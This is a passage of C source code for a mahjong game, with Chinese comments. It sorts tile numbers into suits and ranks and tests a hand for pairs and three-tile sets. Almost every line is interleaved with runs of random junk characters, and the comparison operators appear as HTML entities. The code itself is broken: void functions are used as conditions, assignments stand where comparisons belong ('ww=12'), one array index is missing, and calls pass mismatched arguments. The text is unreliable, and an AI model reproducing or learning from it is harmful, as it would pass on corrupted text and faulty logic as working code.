3 q) _: A8 Q& Q0 f; ?, Ilogoo=3;
# F1 {" ]) |7 |: delse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
2 P; y# m/ P/ mlogoo=4;/ F5 M) a2 A" @* h9 C( h7 t
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)0 d9 _3 t5 p8 P- C
logoo=5;
" i9 ?; E: Y) J) |7 F2 Pelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56): U& E' k( K- q/ ~* t% j
logoo=6;, F! M9 H6 s" h! I4 L2 ]
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
' u# q' g/ {0 J$ U6 q' k- qlogoo=7;
5 N4 Z( U" ^8 d. s) D8 kelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
# a0 r/ H( x8 h! V- I9 blogoo=8;
+ G  L% I7 Z4 A$ M# B) h" ]else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
2 j! N1 ~) Z: Flogoo=9;* d1 f+ @: u& p4 q
}
; y* @' k$ w: @7 Y) Uelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72), m' i1 E8 I) P+ Y
{
+ q( y, x# ]0 ^% a2 E! Ologo=3;
- F1 S: R; Q$ L7 U7 Q6 E) U  Wif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)6 h; ]2 x0 r. Y
logoo=1;
* ^# N# e( }5 j4 f$ W5 E9 xelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)+ |0 O4 V: f* u# B
logoo=2;
/ z! n/ C7 L6 R0 \. Telse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)3 `4 D2 D2 |3 d/ E6 v2 |
logoo=3;6 F/ z$ m4 z+ s
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
0 N# A2 k( Z: F7 R5 Klogoo=4;& H9 f7 S7 v3 G& q
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
5 j( s5 a( D, \% K' C. ~& a. ^, [logoo=5;( j1 o/ i3 K& [& L0 X, G2 f1 b/ v! z
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
$ b! R0 }( X( F3 m% c9 O) F& a- d6 Qlogoo=6;
( p' e2 j# D# Z2 M% [! aelse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
$ x/ t% G8 J2 D9 ~2 g' B) T0 f) Ylogoo=7;
- N. Z- w1 I' z+ jelse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100), _! |: L) Z4 C! |7 e$ X! s
logoo=8;# g  k& d; P: C5 F; a2 V$ _
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)' p* `/ ]! F: t
logoo=9;1 G9 v' E! i5 y8 ^+ _) ^
}! F6 ^9 @) H' A/ k
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
( q5 S. p# R6 \5 v) U{
0 u$ L  v$ m$ a4 ~* glogo=4;
3 w6 l0 l9 O( s9 j$ J- kif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
; ]0 F4 ?0 Z4 E0 A$ \logoo=1;" h1 x2 n9 K, ^
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
) E+ T* s* |8 w9 Dlogoo=2;/ O8 P  A6 M% l2 }
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)+ o# ?7 D' E  a
logoo=3;0 h0 T' @. O! o2 s( I& ]
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
( P6 }. E! F8 T1 w2 p9 klogoo=4;& i$ R( x3 V& b& i4 t* {
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)2 U  g1 h/ ?' o/ f) X  k
logoo=5;
/ V! E; p$ L; Jelse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)& v4 i8 R9 r% S8 s8 h9 L
logoo=6;, b1 j5 }( w+ _% r- h1 c
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
1 K: ~+ `2 Z+ E$ V2 D0 B* klogoo=7;
/ \1 Q3 ~3 p. x1 \8 s}+ V8 u# T1 Y) K+ @7 x& Q& B
while(b&lt;=me.m)
' u2 \* d0 B" y{
& [5 E% W' N" F' w0 n( Zif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/% K; Y7 d: e! g- E0 ?& K  @
{8 s5 N- O( T$ y/ |
lg=1;2 c, L* C9 |3 P
me.pp.d[0]=1;
% ^) f- z- L6 Q% I9 }if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)# v! I0 |1 S# |- D" w9 }
{
" I# K2 W' j6 K( U! D4 T4 clgg=1;
" [) \" ~2 I, L! V" v6 J+ dme.pp.d[1]=1;
  V) R7 n9 }) {/ ?+ Y2 L}
, p) X% f2 c5 f, B- n7 Oelse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
4 h3 P6 C1 [- s; W( o% h% \{, n: U; s% Y/ M) Z; C
lgg=2;
7 t" Y" u' _1 X# @4 L$ [me.pp.d[1]=2;8 K$ e+ f0 x" t- D( m9 B* F7 i: O6 [1 C
}
' }$ {; ^5 ~' U, E1 W9 B  Helse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)7 s5 Y4 h+ t) ], S7 ~9 A, d
{* Z, H+ _, w! N. u; y% m
lgg=3;
1 ~3 w5 [6 q+ J; Nme.pp.d[1]=3;
, \3 m# r; u/ l: p0 r( V/ L9 v6 x}
& j/ c3 n3 @, [' Oelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
) c& a9 i' v* X{
' U/ @  L1 v* C0 [" h/ h( Elgg=4;
) T. g& \. y- |! B+ h5 Nme.pp.d[1]=4;
, K. B4 H, d9 m2 h}
* @4 L  D4 R( ?( Z# Q+ _! l/ n2 telse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)! @, s2 T8 V" i$ S+ }' E- B5 C0 |
{
, \6 l% J4 f4 A3 s) f) I' E+ hlgg=5;  z7 k% V/ y9 l2 H/ E1 |
me.pp.d[1]=5;
9 a4 C# y2 e' Y, O- c}, Q: M4 L3 X3 }) g- r1 u: S2 [7 @0 o
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
* M7 c4 w5 N, y4 H$ {* {* f{' h# K6 l. l2 K6 |  i
lgg=6;
! F* h  V1 `8 {. S+ I# [4 _: ]me.pp.d[1]=6;
1 m) q. d; W7 D  ?8 ]}
: E) d/ G1 c! e, p2 ~else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
& p  j6 I- G( Y9 Z/ f& h{3 ?& P+ d0 c: M& g! G
lgg=7;
& l- k: Q9 z( Eme.pp.d[1]=7;9 z% S! s! \7 {  D
}
0 z3 B3 N: g$ H' A) z% P* Nelse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)8 _5 [9 K: \/ y2 C3 \. w
{& O) R2 A6 S4 R4 Z! k* k
lgg=8;
" R, W, i  h  bme.pp.d[1]=8;6 x/ f7 y; \. Y
}# U+ D8 Z- }, L" d# F% C; H" C6 p* B
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
$ r. q  _( ?+ a1 u5 \- q/ Y{: q* k1 @, c/ \, L6 D5 x
lgg=9;/ [5 M8 x2 |( m: c
me.pp.d[1]=9;+ Z0 c8 x: C( w1 O; L3 h
}
& x2 \: C" P9 ^* N5 v* b0 O}7 n% Y' i! \8 k% G. j' O2 S/ D
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)9 `4 X, P( S# M* R6 g4 k+ ^
{
: a" r, D0 ]- _0 X1 _6 Y! ilg=2;
6 ^$ Q; m7 h, f8 Kme.pp.d[0]=2;
2 D+ F9 i8 s6 ?( s, f) Kif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
: ?+ i, s8 `+ ^: ^{
. M/ y# h( z2 @lgg=1;
4 F# T: L- Y. _! d: Jme.pp.d[1]=1;: ~  \0 Y% g3 l
}
6 O3 A% n( A- `5 _2 K, jelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)6 d; ~$ ^+ T* U% D" V9 J6 a
{, i& r: u5 a+ g7 y1 ^
lgg=2;! [1 }3 t; C. ]: D& Q/ u
me.pp.d[1]=2;& P; A  [1 X2 w6 u
}3 ?& G( K4 a# I" [3 D3 i. X
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
) y' n- C9 K: t$ L+ L3 C3 p7 E{
) M0 E3 F' \. {8 t1 Flgg=3;8 t* J2 S: {" k3 }& V
me.pp.d[1]=3;
* G- k. @" {1 I0 Z' C4 k}
/ K8 C. Q9 S' }" J' eelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
& x! e  E5 i4 S+ O{
$ |9 A* t" O$ Z% e9 U+ nlgg=4;9 h; i8 ?6 A- j; `- M& n
me.pp.d[1]=4;8 C8 l0 @; Q# n+ v( N
}
; h" u% X0 m& h2 X3 @else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
" Y) u" f* i8 Y" T) X9 D& o: |{
) h0 A$ S: _) o' j: Elgg=5;# ~& {1 [2 U: E- w$ x- X* @
me.pp.d[1]=5;
% K2 s1 O' ^1 P4 t}
! c9 E, v, b( R8 p+ eelse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
2 I- V5 _2 d$ y& e{: J) N. @: T7 _2 M+ e6 L
lgg=6;; K5 t  X  l( b
me.pp.d[1]=6;
2 i( Z5 E% g1 a. a* o  @}
' B( w5 N& `0 j6 w9 F- D) L8 `# ?else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)/ a# X( u/ n+ F8 f$ e
{# i" Y2 S' H7 w$ U6 a4 P
lgg=7;+ @1 p7 X6 x$ U! O
me.pp.d[1]=7;
  ]! f, C* w& Y* Q2 K}
+ i) Z- g8 \* |  |: v# xelse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
. L. k2 U, l0 |$ v. p7 P{
/ `  S# _3 v) X( w: y/ V( algg=8;
; J0 m% x' \! Mme.pp.d[1]=8;
$ z6 S2 Q, t. G. _}# k" g0 d; u& q$ u
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)7 p# a  d) ?, B+ E% R: P4 I4 \) z6 ^
{
& i& X6 w7 U% b4 W9 C; plgg=9;: q0 N0 i/ ]; Y! G* U) @
me.pp.d[1]=9;
1 J' D% A2 r8 q: M& S}; i& x$ _! r! y' v- F% E; S4 o1 G$ G
}
5 T7 f; J/ P8 S6 O; t+ G" ^9 a' {else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
4 t9 ?: m  o! O{
. O8 P) \/ A% S$ {" r2 Elg=3;
( J& v1 S; A3 y# ame.pp.d[0]=3;
- L& N5 ?" U: O$ r5 Vif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)* K6 @% b# ^) U( }5 Q* P8 ]
{
' F' K1 _, {8 R5 ?8 }3 Blgg=1;
& F5 C# l2 F) X. F6 P9 P/ pme.pp.d[1]=1;. k1 I& [: v7 J# P9 L# U0 {: D
}
) Q/ H+ }+ T# K- C5 o& celse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
7 ]) [- _1 p/ P3 w8 L+ ?+ @{5 g. e0 o2 I# K6 Z% l" z
lgg=2;3 z) c/ }- t+ _  V7 n- x" n/ g
me.pp.d[1]=2;% V7 @1 i: f, Y, e2 a
}
( {+ L9 Q) q& Y' {' q' F, `else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)' y/ S4 f% \) ^, j+ _
{2 L3 n0 {' A4 Y* N
lgg=3;
% R7 n$ U6 `6 U/ N" u& l0 m, Y4 Mme.pp.d[1]=3;
6 a6 b0 V9 Q$ f# t1 `}: x: ^/ C) F: E
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)2 t. t3 \5 N6 s
{, r4 `6 K! W* [+ R$ f! o# w
lgg=4;7 b% S0 T6 C: f6 i, [0 ~0 @
me.pp.d[1]=4;/ l2 w/ D% l* h
}! V! V, q% B% Q5 i6 Q
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
# G+ |$ ~+ I' }{& D: M2 v( d* \; P% I3 N
lgg=5;; r3 W2 j9 O. S, c/ t4 P8 D
me.pp.d[1]=5;  g% a. v( i) m4 W
}1 g: N, x8 x8 B5 O( v6 }8 a
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
5 c1 ~' `7 W+ n6 g- `{
5 u! d4 b1 _  c2 z* q  Zlgg=6;
' |# ^) o( }7 T0 b  f# ?; u& jme.pp.d[1]=6;3 @; @$ x  a* H9 T! O" `
}$ f: ~$ f  M( E& D* r) n: A
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)4 {6 C# j7 M9 J
{
% i+ M* ?8 T: q9 qlgg=7;7 t5 R8 [. [' O6 D, I  S
me.pp.d[1]=7;
8 ?% v  X0 t* c3 p6 S; E/ Z" N}
- K/ E) y$ q# @1 }* pelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
; b$ L4 @( u5 B$ ?3 y{- S; ]1 E7 F9 W
lgg=8;
: s" }) Q* [: F& C; e$ Xme.pp.d[1]=8;6 P$ J. G# h5 K. d; a7 I8 ?& W
}
0 n6 I" P4 u( J( E" V: selse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)/ B  A' e) E. {  l7 k; R' U6 h/ w
{
& ^0 ]/ v- `# nlgg=9;
8 C1 P! L  g" f9 Z6 p; ume.pp.d[1]=9;$ z# d0 m- l: k- H, o
}
* v% O5 f* O/ I5 p$ Y) @* F. s}- p) n/ d% U8 X' Z5 n4 {" K
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108), l) e( k, k4 e% t- i! _) J% ]% M
{
3 K2 {6 D* H3 g  u; T3 }( olg=4;
" c+ t( P" C# c8 }& Ame.pp.d[0]=4;
( j# P+ k- R9 M+ t* wif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)4 p) W+ W- {) I* W! \  ~9 e
{( p0 R) ]6 Y# m7 O
lgg=1;
7 }4 E  V8 `7 u# h3 d7 j$ sme.pp.d[1]=1;: y$ ]$ B6 ~- s: Y6 Z# {8 w
}) j% L* z, k% C9 Z) l1 S# i- k# S
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)4 S# m, h: `* i* R4 C" u
{1 H3 H- R1 o! N1 W
lgg=2;7 _0 D/ j+ P$ a5 z. w5 P# ~, t  F
me.pp.d[1]=2;, e; v+ t' y+ [
}( y: u6 P  k9 i4 A9 ?
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)' J, _0 r6 q" K7 h* s" y0 r1 b4 g
{
, C. L9 d/ h. ylgg=3;6 v" p5 H4 }0 Q; {0 W+ ~7 ~
me.pp.d[1]=3;2 n6 L9 Y" }& C% ~3 g; P- F9 L( c" A
}3 n( E- j7 [& e0 m
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)% I6 V  l* I8 V8 U
{3 G% e/ K0 J0 D9 a1 C" N! i3 w
lgg=4;  T. Y) |2 P" |
me.pp.d[1]=4;6 t- H* K  |3 U+ F7 N0 Z
}$ d$ D9 S/ t& e* r: b5 t
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)9 \. k! P) g8 d2 t5 i
{9 o1 X6 r/ Y* P  Z* p& ]/ x) t
lgg=5;
; y4 [& A5 {# G/ K; Lme.pp.d[1]=5;
, e6 ]/ F) O9 w) C& h3 b/ b}
0 @) \3 ]3 Z) x/ [0 [) _else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
6 ^3 _5 I' g$ U3 o" V- W{
1 c, _5 T. ]3 M+ ^. h& glgg=6;
' `# @8 s8 V  l% C* f, kme.pp.d[1]=6;! G- J7 M) ^! d* _2 C
}. M8 }, `9 V. M% R1 o/ W
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)9 V' k9 M) |. j7 v
{; _: g/ @# ^$ P' R& K
lgg=7;
$ i; h. B6 H  N: u3 A" U! L5 ome.pp.d[1]=7;  m0 b# v3 O8 P" e
}
6 y; R# R4 E- O& Q; ]}: A& e; W7 t4 }' y) ~' c  {
}
# @' V1 L0 j8 @5 ?}
. F# ~( X3 m# g( i; k( \void istwo(testt). }4 ]# t! j6 ~  e; k8 E) s
int testt[];/ ~5 G0 j$ d% b8 |! r
{ if(testt[0]==testt[1])
7 t( A4 a3 B6 asecond++;2 F; Y7 D0 y4 ~+ \; g' _) `
}. W9 O9 B, Z! b: Y8 Q9 G5 H+ ]; ?
void isthree(testt,n)7 k8 ~9 ~6 `8 W9 s7 P
int testt[],n=0;
0 x4 f9 A  q! p7 V- T) d% R1 c{ int i,j,flage=0,lianx=0,same=0;4 g2 C$ i7 n6 T8 a. O; K0 Q
n=n/3;
# G  K0 C1 A6 v3 H0 Rfor(j=0;j&lt;n;j++)
& q) _8 i! c: G1 _, b* M6 ?4 D{
8 u: y" H+ K3 k& \' h& `' c) N! Jfor(i=j*3;i&lt;2+j*3;i++)7 T8 Z) }/ X( D9 A( g
{* R+ f4 R$ T4 D
if(testt==testt[i+1])
" K" m8 @6 ^3 R0 ?same++;
0 k  l- k0 m! j' Z7 R( Q- xif(testt[i+1]-testt==1)
# K9 |4 S0 {0 Y/ _8 [2 qlianx++;
" y6 |5 p; Z7 v) @& i- e}8 `/ c3 W# f$ k7 l+ p
if(same==2)( L0 c# ~  |7 s& u; L( ]
threes++;5 v$ n% l) J3 t4 T; b
if(lianx==2)% l: Z; R9 l6 n
threes++;4 y0 g( a8 D0 F/ m. |; \0 U5 ]
same=0;) Y' ^/ q2 _$ y  L8 p1 z7 Y) |
lianx=0;
+ G( s# u4 B& O4 }/ A' C8 h* q}6 y$ A2 Y8 I8 ]7 H0 i# S
}
( r2 h, J' F  y$ O- C- M8 I/ L5 _. Yvoid panduan() /*本程序的精髓*/
2 C" `8 @# u6 G: i& z) x{int data[14];
8 k) h& g  n. e9 |( p, H# Bint pw[14];
, ?1 \' Y  S" w8 m+ t$ b" aint pt[14];1 ?# f) U. j5 f5 N1 b8 ]
int pi[14];: Y% K  f4 O  k  l+ W6 J& f# i. D
int pf[14];
& k) L7 }0 O, O5 @; |3 s0 xint test[12];
6 m' L" B0 c2 ?* J7 O1 `5 cint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
1 @8 o* N9 P( ~0 Dfor(jj=0;jj&lt;=me.m;jj++)
. v) H$ G% N( V/ ~/ {) I* p9 w- h5 T{# ^  W1 v1 U7 Z4 _+ N5 N
if(me.pp[jj].d[0]==1)" u3 H0 @7 Z- A1 T6 n- `
data[jj]=me.pp[jj].d[1];
, |0 k7 D) f& k4 |! S; D' P4 Fif(me.pp[jj].d[0]==2)
' g' W8 H2 k" Z9 L6 l) h/ }data[jj]=me.pp[jj].d[1]+10;
0 b. `8 O7 |* N, P2 lif(me.pp[jj].d[0]==3)' `5 _/ \: S, U8 h9 w
data[jj]=me.pp[jj].d[1]+20;: E* h9 q" w% Q! {8 s) x, L, j; h
if(me.pp[jj].d[0]==4)
. e* e- J6 A# r( d+ cdata[jj]=me.pp[jj].d[1]+30;
' U1 E& A4 S( ]* F6 o+ R- d  X, f0 B}9 ?7 M# l# a, K0 g
if(logo==2): P/ }# z' m8 v
w=logoo+10;
8 p4 B" O  M7 M; \+ z6 [- aif(logo==3); |2 m( S+ ~* R8 g, M
w=logoo+20;
! X  x$ E. ?* ~1 b2 T' c. r8 |if(logo==4)* w8 G+ s5 k4 @% D7 V7 x* Q9 Z/ x
w=logoo+30;/ F5 n3 o' @. r
data[computer.m+1]=w;
. d: c5 W& ~6 V  ofor(mm=0;mm&lt;=computer.m;mm++)* n$ }- d6 m. j4 I" f# W) |
for(nn=mm;nn&lt;=computer.m;nn++)0 z/ R8 ~  H* u$ C+ E. K
if(data[mm]&gt;data[nn+1])
& D3 W) {1 t8 U  C# Y1 a) I4 Y( v{9 L) d# {& v" D2 X% L9 E
tpp=data[mm];
1 [$ S- E9 u* k3 t5 a& Bdata[mm]=data[nn+1];
: J2 K5 I7 Q, B$ k9 xdata[nn+1]=tpp;
( ?, \& u% h' B5 d- o2 e0 h/ c}$ ]& K" c+ O8 x' N% i
lp=0;4 C: R2 m9 B2 m% B+ C2 Y: I
while(lp&lt;=computer.m)' }3 ~+ N* e# X5 H# j8 V
{ if(data[lp]&lt;10)
0 I1 h  C  c2 u4 b' v* q7 q. {- }pw[ww++]=data[lp];1 p) t9 P2 \5 T. U6 o; d  g
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
2 n4 N% r  P/ e" d" Xpt[tt++]=data[lp];
  T/ H; _  y* R/ e: ?, e$ [: ^if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
; z5 v) [, ~0 @3 ~pi[ii++]=data[lp];, D  M& E) e# e& y5 n
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)+ J8 Y9 v+ g" V! S
pf[ff++]=data[lp];) o5 h1 m' B0 _- H  O* P
lp++;: q- l2 p6 j. Y% ?) X' n
}
' B8 k  c& |, Vif(ww==2)9 F, D8 M7 x% m# @. u
istwo(pw);  ~* B: Q% [" m, G
else if(ww==3)7 a; ?9 l; b: f4 B& @+ B
isthree(pw,ww);# \$ B7 q2 q! \# p( H
else if(ww==5)$ S& o. ]% [) p! m& g$ E
/*pw[5]原始牌数组,假设已经升序排列*/5 G! y6 t$ d( n! h9 _) g; {
/*test[3]用来放置测试牌的数组*/
2 G7 C& s2 y% d$ N+ M& T5 J  v; gfor(i=0;i&lt;4;i++)8 q* i) {0 v5 h3 _6 V; c
{
& W+ c2 v# y) I8 p) u6 E, ?for(j=0;j&lt;2;j++)
- B6 L$ G- q4 T/ e* J5 M{test[j]=pw[i+j];9 t2 D9 y2 r3 `9 H' W. \. R
}
! X* F; |, Q! ]( {9 n1 `if(istwo(test))+ N9 A6 R1 R. U1 r' ~. R
{ ill=0;
! C$ w5 E. E0 \; G; Vfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
$ J0 q* y+ ~3 }" V4 V- E{if(kl==i), p- P+ V5 `  I# U% H  I3 p* R
{
5 k0 o% \3 ]; s. W- l- tkl=kl+2;8 f- R$ ~9 W; E, P! B5 d+ j1 [
if(kl==5)
4 ]3 Z. [0 l% qbreak;
0 K9 E- D9 F* R1 N; [}0 j$ ?9 c; t# J8 J# f" j
test[ill++]=pw[kl];
1 A* V' \8 P4 A+ ?; c( g}
1 @4 l( m6 C5 {8 B! [isthree(test);
  ]0 X$ }8 R2 W}" o& A" j4 }# m+ ]
}& b! }2 i% s5 s6 ]% [6 q) Y5 `
else if(ww==6)
+ B/ e& [( Y9 i9 q% Bisthree(pw,ww); 4 V8 d6 T. Y7 y9 O8 N
else if(ww==8)
  `) @8 p1 X% Z+ P/ Y; S$ e2 |for(i=0;i&lt;7;i++)
. |1 j. K3 X1 _' z  h1 s6 M, o7 H% ^{
' [4 E% T; ~4 q# q8 _! Qfor(j=0;j&lt;2;j++)2 C( ?, F6 J0 @- V. k1 Z, P, T
{test[j]=pw[i+j]; - K1 w4 @3 Q4 t
}
! _; l& Y& n; e# c5 J$ o2 Aif(istwo(test))) F- {  \( D3 F% j
{ ill=0;1 w" S+ C0 s7 C2 f* t1 c- r
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
  |, h" Y+ Q  j, I, z, u$ ?+ y! f{if(kl==i)
% z, Y2 O7 R! K) ?% C- Y) w{
3 P* G" r% i. V8 @kl=kl+2;
2 d4 t3 ^$ ^$ u( e6 G2 h# F1 `$ Eif(kl==8)
. W8 c% w2 t! M4 Q* Dbreak;
( j& C2 ?0 ]$ |2 {}8 [' r  P; `, i: m% }( X( [- u! J
test[ill++]=pw[kl];: f8 B5 E+ b" m1 Q) j* L: ]
}" u/ a: n7 j' @0 A
isthree(test,ww-2);
5 e& ^) z% `0 z}3 O7 n: R% g; `# p& q
} + Z, Z* v( q9 d+ x1 l" `& l
else if(ww==9)" s( q+ Z; L3 F! R3 t9 A
isthree(pw,ww);3 n0 X0 S9 x: i( j. w& ~! X
else if(ww==11)
+ X1 W6 ~9 j& R, b0 v2 sfor(i=0;i&lt;10;i++)8 y3 `3 U, w3 Q# L- O5 Z1 K  M
{
8 @; D4 K4 V, M, Cfor(j=0;j&lt;2;j++)* i' {8 H$ f$ V: P- a5 h8 I, P" `
{test[j]=pw[i+j];
5 a2 z5 A; F* V3 W. o}6 \1 c2 B' W) h7 t4 r; H4 ^
if(istwo(test))
: S6 \8 m* G5 Q{ ill=0;2 ?$ c2 M$ D4 J6 [1 E- {; M
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/4 k" a3 P6 J0 H/ J
{if(kl==i)5 J8 {" u# f  n* }: ^
{
" f$ @) l2 {. w, Y4 Bkl=kl+2;% C2 Q6 \# T/ ?5 ]' q. z+ j
if(kl==11)
; b* L. I- P) r+ n4 Gbreak;/ \4 h2 i4 P" n! s
}* A/ Y+ A. S6 K, ~. ^3 h: T& a4 S/ v! p! d
test[ill++]=pw[kl];) a6 Z" p1 U9 M% G) F! R
}6 M. S  S9 s; i1 `
isthree(test,ww-2);
! ~+ y  o1 {/ \! F* P4 g, ]}6 V$ }7 M9 _1 E
} * G6 I! [! p% ^4 [4 X; I# k& \
else if(ww=12)
- L6 ]! z* u, b* Uisthree(pw,ww);
- c( W9 g9 ]8 V0 }  G5 l" Xelse if(ww=14)7 o# S. ~5 p# a, O# Q% R
for(i=0;i&lt;13;i++)8 j  {) C$ w- o) C/ n7 `
{
; D7 ^$ V6 a) Q4 s' E; bfor(j=0;j&lt;2;j++)
: I9 _( T. J9 D0 ?{test[j]=pw[i+j];; E5 f4 g) h% x: c: X' l/ C
}5 T- Y6 y7 J) }: L* C3 T0 b
if(istwo(test))
6 O; O, k2 l% C' L9 S{ ill=0;0 H8 w7 T* e5 G0 F1 P  |
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( S6 A5 Y+ Q' H+ }: F  O
{if(kl==i)3 j7 t3 h5 H- E& W9 k# _
{
0 c2 I0 j( P. v, n; h8 X% |0 Bkl=kl+2;* I. m0 t. {) j8 m4 J, ?2 [
if(kl==14)
4 j) Y7 K8 F) G' _break;! u" [' f2 A, G& B8 r. J; W
}/ U+ u. M* a) w' \
test[ill++]=pw[kl];7 `4 L8 y$ k$ ]5 z  j
}
1 K) c( Z' u3 t& l1 Z3 g5 risthree(test,ww-2);
7 O" @# T; \* Y}& ^4 O) I9 H" C) P2 h
}8 v- _% c4 y5 q$ k! o
if(tt==2)( y8 T$ q; H( n# |6 t, c& S. V7 y  N
istwo(pt);  u$ R1 f9 U9 s, X: N
else if(tt==3)! k& n0 U) F6 G/ P. _& D0 L
isthree(pt,tt);! E  W( t/ `3 p8 f6 h5 d
else if(tt==5)
7 B2 B" K4 E+ `! d1 K$ v9 {3 C- e$ ?/*pt[5]原始牌数组,假设已经升序排列*/) S4 l7 i+ |  m& p2 |
/*test[3]用来放置测试牌的数组*/
+ V$ d6 b7 _: L' Z9 {for(i=0;i&lt;4;i++)
- \( a2 V+ J8 Q8 ^  F/ j/ t{6 A. g( Y% @- m, _3 S
for(j=0;j&lt;2;j++)
; [' w8 Z, y! W% g{test[j]=pt[i+j];
/ @" h9 i/ g: J6 g/ ~: z- V}) {$ T; R2 z) j
if(istwo(test))  _' ~" s8 _: a7 U
{ ill=0;" I" @2 k+ Y, Z! r" C! V# }- D
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/3 \7 i! N2 j. I' q( U8 d& i# j6 t' d
{if(kl==i): g, p" [2 o1 n2 T
{! ]# y; O5 ~3 u2 ?/ W
kl=kl+2;
# L* x/ ]; {. F8 sif(kl==5)
( k+ |) O2 F, D; o/ }break;9 j  L+ O& w& z1 j9 S' ]0 P
}7 T; j* y5 U8 `0 ?
test[ill++]=pt[kl];
3 i1 _0 j8 D9 w  K  }& a}0 f! ~" y  i. b
isthree(test);
& `) C: l. w; f}
; {  O- O- B. t. D}1 C% S3 w; h, x  c
else if(tt==6)
5 \% _3 r5 Z& disthree(pt,tt); - \1 @4 Q9 J) v. [' m+ W. g
else if(tt==8)5 t" g1 \+ _4 t- V
for(i=0;i&lt;7;i++)
6 f+ T0 v5 }  _{
& v6 N, g9 k% n' \# \1 C2 tfor(j=0;j&lt;2;j++); i. j( E: B. B$ J" p: o( D* H
{test[j]=pt[i+j]; # F& I; [) m+ P. o6 U
}
9 a: D/ G, v) W# Eif(istwo(test))) k- a4 ]: u1 V3 o, q
{ ill=0;  x' A3 B5 J5 m  J$ \
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/" U8 E. q. L8 p3 Q7 {
{if(kl==i)
